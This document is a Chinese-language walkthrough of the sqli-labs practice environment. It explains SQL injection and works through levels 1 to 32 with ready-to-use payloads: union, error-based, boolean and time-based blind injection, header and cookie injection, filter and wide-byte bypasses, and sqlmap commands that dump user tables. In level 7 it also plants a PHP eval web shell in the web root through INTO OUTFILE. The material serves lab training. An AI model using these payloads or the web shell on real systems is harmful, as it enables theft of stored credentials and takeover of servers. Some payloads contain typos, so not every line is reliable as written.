1.sql注入的原理
1)sql注入的原因
语言分类:解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令。
例如:在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。
2)登录案例讲解
主要是万能密码:登录SQL语句:select * from admin where username = ‘用户输入的用户名’ and password = ‘用户输入的密码’
用户输入的内容可由用户自行控制,例如可以输入 ’ or 1=1 --空格
SQL语句:select * from admin where username = ’ ’ or 1=1 – ’ and password = ‘用户输入的密码’
其中or 1=1 永远为真, --注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。
2.mysql注入有关知识点
1)MySQL 5.X数据结构
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
2)SQL的增删改查
SELECT 列名称 FROM 表名称 WHERE 字段1 = ‘条件1’ AND 字段2 = ‘条件2’
INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,…)
UPDATE 表名称 SET 列名称a = 新值 WHERE 列名称 = 某值
DELETE FROM 表名称 WHERE 列名称 = 值
3)MySQL常用函数
user():查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
拓展limit关键字 limit m,n 从m行开始,到m+n行。
4)注释
注释符:在Mysql 中常见的注释符表达式:#或–空格或/**/
内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF
例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1 /!union/ /!select/ 1,2,3,4
3. sqli-lab环境搭建
1).PHP study安装
下载地址:
[http://phpstudy.php.cn/phpstudy/PhpStudy20180211.zip?v7]: “PHP study”
2). sqli-lab安装
打开sql-connections/db-creds.inc,修改默认数据库连接密码。
4.less1-less35测试
less-1基于错误的GET单引号字符型注入
因为环境原因less1打不开
less-2基于错误的GET单引号字符型注入
判断列数,逐步增加,出现报错,则说明是前一个列出
http://127.0.0.1/sqlilabs/Less-2/?id=1'order by 3-- -
http://127.0.0.1/sqlilabs/Less-2/?id=1'order by 4-- -
由此判断有三列
爆数据库payload
?id=-1' union select1,2,database() --+
得到‘security’库名
爆表payload
?id=-1' union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查到 emails,referers,uagents,users ,显然users是用户数据表
爆列名(字段)payload
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆值payload
?id=-1' union select1,2,group_concat(username,0x3a,password) from users--+
完整测试
首先/?id=1 and 1=1
/?id=1 and 1=2 判断是否是数值型注入,两次页面不一样大概率就是
/?id=1' " ) ') ") 判断字符型
假设是单引号字符型
/?id=-1' order by 3(4)-- -判断列出
/?id=-1' union select1,2,database() -- -判断数据库名称
/?id=-1 union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- - 爆表
/?id=-1' union select 1,2,group_caoncat(column_name) from information_schema.columns where table_name='users' -- -爆字段
/?id=-1' union select1,2,group_concat(username,0x3a,password) from users--+爆值
或者使用sqlmap工具自动注入
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --dbs #可曝出该mysql中所有数据库名称
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 --tables #-D 指定数据库名
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 --columns #-T:指定要列出字段的表 --columns 列出了所有的列字段
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump # -C :指定要暴的字段
另一篇文章涉及
less-3基于错误的GET单引号变形字符型注入
http://127.0.0.1/sqlilabs/Less-3/?id=1')-- -
下面方法同上,先判断列,然后爆出数据库,表,字段,值
less-4基于错误的GET双引号字符型注入
http://127.0.0.1/sqlilabs/Less-4/?id=1")-- -
下面方法同上,先判断列,然后爆出数据库,表,字段,值
判断小技巧
首先判断是否是数值型注入:
输入127.0.0.1/sqlilabs/Less-2/?id=1 and 1=1
127.0.0.1/sqlilabs/Less-2/?id=1 and 1=2页面变化则是否则是字符型注入:常见的闭合方式有成对的’ ‘、” “、( ) 以及他们的组合类似于(’ ')这种
判断具体是哪种,只能挨个试,这里less-2为例,我们知道他的闭合方式就是单引号,所以
less-5双注入GET单引号字符型注入
http://127.0.0.1/sqlilabs/Less-5/?id=1
http://127.0.0.1/sqlilabs/Less-5/?id=1'-- -
通过判断是单引号字符
但是通过上述判断是盲注(布尔型盲注、报错型注入、时间延迟型盲注)
验证时间延迟型的盲注:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and sleep(5)-- -(注意页面的url会延迟五秒后显示)
发现明显延迟,说明猜测正确。布尔型和时间延迟型盲注建议采用sqlmap去跑。
方法一:时间延迟型手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。可以通过浏览器url的刷新观察延迟情况。
爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
所以判断出数据库长度为8位
爆库名payload
?id=1' and if(left(database(),1)='r',sleep(5),1)--+
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
由此显示得知,数据库的第一位的值是s
接下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
通过坚持不懈的测试,终于在limit 3,1 爆破出表名为users.
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
修改limit x,1 中的x查询password是否存在表中,lucky的是limit 4,1的时候查到了password列,同样的方法查询username ,接下来爆破字段的值。
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
太麻烦了,直接sqlmap把!!!!
方法二: updatexml报错注入
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- - 爆出数据库
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) -- - 爆出表
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- - 爆出users表的字段
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users),0x7e),1) --+ 爆出username字段的值
less-6 双注入GET双引号字符型注入
http://127.0.0.1/sqlilabs/Less-6/?id=1"-- -
类似less-5,区别就是这是双引号字符错误
less-7 布尔型单引号GET盲注
方法一:
标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。
http://127.0.0.1/sqlilabs/Less-7/?id=1'))-- -
load_file()读取文件
前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL
into outfile()/dumpfile()
其中dumpfile()只能读出一行数据,适用于二进制文件
写入文件
?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy\\upload-labs-env\\WWW\\sqlilabs\\Less-7\\anbei.php'--+
这里写入一句话木马到anbei.php文件中,anbei.php是自动新建的
查看文件
http://127.0.0.1/sqlilabs/Less-7/anbei.php
菜刀连接
连接url:http://127.0.0.1/sqlilabs/Less-7/anbei.php
密码:cmd
成功!!!
方法二:
使用less-5的盲注
http://127.0.0.1/sqlilabs/Less-7/?id=1')) and left((select database()),1)='s'--+
less-8 布尔型单引号GET盲注
http://127.0.0.1/sqlilabs/Less-8/?id=1'-- -
使用less-5盲注
less-9 基于时间的GET单引号盲注
再做判断何种注入时候,不论如何输入回显都是You are in…
测试时间型盲注
?id=1' and sleep(5) --+
注意判断url的显示
发现明显延迟,说明注入成功,接下来爆破就完了。
爆库payload
?id=1' and if(length(database())=4 , sleep(5), 1) --+
当?id=1' and if(length(database())=8 , sleep(5), 1) --+时明显延迟,所以库名长为8
?id=1' and if(left(database(),1)='s' , sleep(5), 1) --+
爆破?id=1' and if(left(database(),8)='security' , sleep(5), 1) --+
下面操作类似less-5的盲注,区别在于less-5又明显不同回显,less-8只能通过观察url延迟判断
less-10 基于时间的双引号盲注
http://127.0.0.1/sqlilabs/Less-10/?id=1" and sleep(5) --+
11到21关的提交方式全是post型的,需要使用工具burpsuit
less-11 基于错误的POST型单引号字符型注入
使用Dump用户使用Dump密码模拟登录
hackbar选中post可以看到,已经自动载入的刚才提交的表单数据
打开bp抓包测试
这里我虚拟机中没有下载bp,也没有java环境,用物理机完成下面测试
照例先判断注入点,Username输入admin’,报错,admin’# ,页面正常。说明有’ '对参数包装
%27是’的url编码
流程与get提交是一样的,先进行字段猜解
或者再bp中也可以测试注入点
uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆
字段猜解
uname=admin' order by 2 --+ &passwd=admin&submit=Submit
爆数据库
uname=admin' and 1=2 union select database(),2 --+ &passwd=admin&submit=Submit
下面步骤就正常测试就可以
或者实验报错extractvalue()
爆库payload
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
爆表payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
只能查询到前几个表,后面加上not in()就可以查到其他表了,如:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit
爆列名payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
爆值payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
同样使用not in 可以查询其他值:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit
less-12 基于错误的双引号变形POST型字符型变形的注入
判断注入点
uname=admin")-- -&passwd=admin&submit=Submit
下面和上一关类似
Less-13 POST单引号变形双注入
uname=admin')-- -&passwd=admin&submit=Submit
判断注入点,但是没有回显所以判断是盲注
方法一:报错型盲注
uname=uname=admin') and extractvalue(1,concat(0x7e,(select database()))) -- -&passwd=admin&submit=Submit
下面继续和上述类似
方法二:时间型盲注
uname=admin') and if(left(database(),1)='s',sleep(5),1) --+&passwd=admin&submit=Submit
判断方法就是,这里会等五秒才显示,类似之前看url
然后下面类似一步一步尝试,了解就好,测试就太麻烦了
less-14 POST双引号变形双注入
uname=admin"-- -&passwd=admin&submit=Submit
然后下面使用报错型盲注extractvalue
less-15 基于bool型/时间延迟单引号POST型盲注
uname=admin' and 1=1 --+&passwd=admin&submit=Submit //登陆成功
uname=admin' and 1=2 --+&passwd=admin&submit=Submit //登录失败
时间延迟测试payload
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
五秒之后出现
然后又是老方法
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),8)='security',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
less-16 基于bool型/时间延迟的双引号POST型盲注
uname=admin") and 1=1 #&passwd=admin&submit=Submit
uname=admin") and 1=2#&passwd=admin&submit=Submit
注意 -- - --+ # 三个都是注释符
后续同上述方法
less-17 基于POST密码报错注入
update的注入
使用updatexml(),它和extractvaule()类似
爆库payload
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ &submit=Submit
爆表名payload
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ &submit=Submit
爆列名payload
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit
爆值payload
uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit
或者
uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1)test),0x7e),1) --+&submit=Submit
HTTP头中的注入介绍
在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。
例如HTTP头中 User-Agent、Referer、Cookies等。
less-18 基于’的User-Agent:报头文报错注入
User-Agent: 浏览器表明自己的身份(是哪种浏览器)。这里我们抓包后从User-Agent处进行注入
这里要注意语句的闭合
测试爆库payload
User-Agent: ' and updatexml(1,concat(0x7e,(select database())),1) and '
下面步骤就类似了
less-19 基于’的Referer:报头文报错注入
单引号,报错型,referer型注入点。
Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中。
爆库
Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
less-20 基于’的Cookie:报头文报错注入
1)cookie介绍
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写Cookies,以便在最后付款时提取信息
2)cookie注入代码分析
代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
cookie注入(直接登录时抓包是抓不到cookie的,源码中可以看到我们的cookie是从uname中获取,刷新后才会执行select。同样的这关也对账号密码进行了处理)
Cookie: uname=admin' order by 3--+ //1-3 正常
Cookie: uname=admin' order by 4--+ //4 不正常 ,确定行数为3
Cookie: uname=admin' and 1=2 union select database(),2,3 --+
下面继续即可
less-21 基于错误的复杂的字符型Cookie注入
对uname进行了base64加密,需要上传paylaod的时候base64加密.
admin' and 1=1 --+ //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文
less-22 基于错误的双引号字符型Cookie注入
双引号,报错型,cookie型注入。
和less-21一样的,只需要使用双引号代替单引号再取掉括号,其他同上
-admin" union select1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
less-23 基于错误的,过滤注释的GET型
过滤了注释符号
爆库payload
?id=' union select 1,2,database() '
爆表payload
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名payload
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆值payload
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
less - 24 二次注入
1.注册一个admin’#123的账号,密码随意 。
2.登录admin’#123该,修改该帐号的密码,此时修改的就是admin的密码,我修改为555。
成功的话跳转页面会提示Password successfully updated
3.用刚修改的密码我的是555,登陆admin管理员账号,就可以成功登陆。
less-25 过滤了or和and
再第一步测试是字符型还是数值型的时候,会发现再使用and的时候,没有显示,此时要想到是否过滤了一些字符
可以使用双写挨个测试
?id=1' oorr 1=1 --+
?id=1' aandnd 1=1 --+
再发现过滤了哪些字符下面就比较简单了,继续按步骤测试即可
less-25a 过滤了or和and的盲注
盲注怎么判断过滤了and跟or呢,直接在前面添加or或and
其实和上一个差不多,测试就好
?id=-1 union select1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+
less-26 单引号闭合 过滤了 or,and , /* , – , # , 空格 , /
%A0替代空格 &&替换and 注意url编码 需要linux
1'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1
一些绕过姿势
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
less 27 关键字大小写就行了
查找注入点,报错
http://127.0.0.1/sqlilabs/Less-27/?id=1'
使用http://127.0.0.1/sqlilabs/Less-27/?id=1' -- -发现报错,此时就要考虑是否存在空格或者注释过滤
依然使用;%00进行注释
http://127.0.0.1/sqlilabs/Less-27/?id=1';%00
判断列数
http://127.0.0.1/sqlilabs/Less-27/?id=1' order by 3;%00
出错
此时要判断是否是oeder by 或者空格过滤
使用%a0代替空格
http://127.0.0.1/sqlilabs/Less-27//?id=1’%a0order%a0by%a03;%00
所以是空格过滤
判断当前数据库
?id=1’%a0union%a0select%a01,2,database();%00
出错,提示显示并没有union select我们尝试将union select大小写混合或者双写
?id=1'%a0UNion%a0sElEct%a01,2,database();%00
爆库
?id=9999’%a0uNion%a0selEct%a01,2,group_concat(schema_name)%a0from%a0information_schema.schemata;%00
或者采用不同的闭合方式
?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
less-32 宽字节绕过注入
1) 宽字节注入基础
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%DF’ :会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
2) 宽字节注入代码分析
常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)
?id=1’ 我们的输入经过加工变成了1’,发现被转义
按照宽字节注入的知识 %df’ 或者 %df%27
?id=1%df'
?id=1%df%27 发现报错
加上注释
?id=1%df' -- -
判断列数
?id=1%df' order by 3-- -
?id=1%df' order by 4-- -
下面就是常规测试了,一步一步就可
less-11 万能密码
'or '1'='1'#
admin' or '1'='1# //逻辑判断:真或真=真,可登录
admin' or 1=1# 真或真=真
admin'and ''=''# 真或假=真
参考链接:https://blog.csdn.net/qq_41420747/article/details/81836327
版权归原作者 浅*默 所有, 如有侵权,请联系我们删除。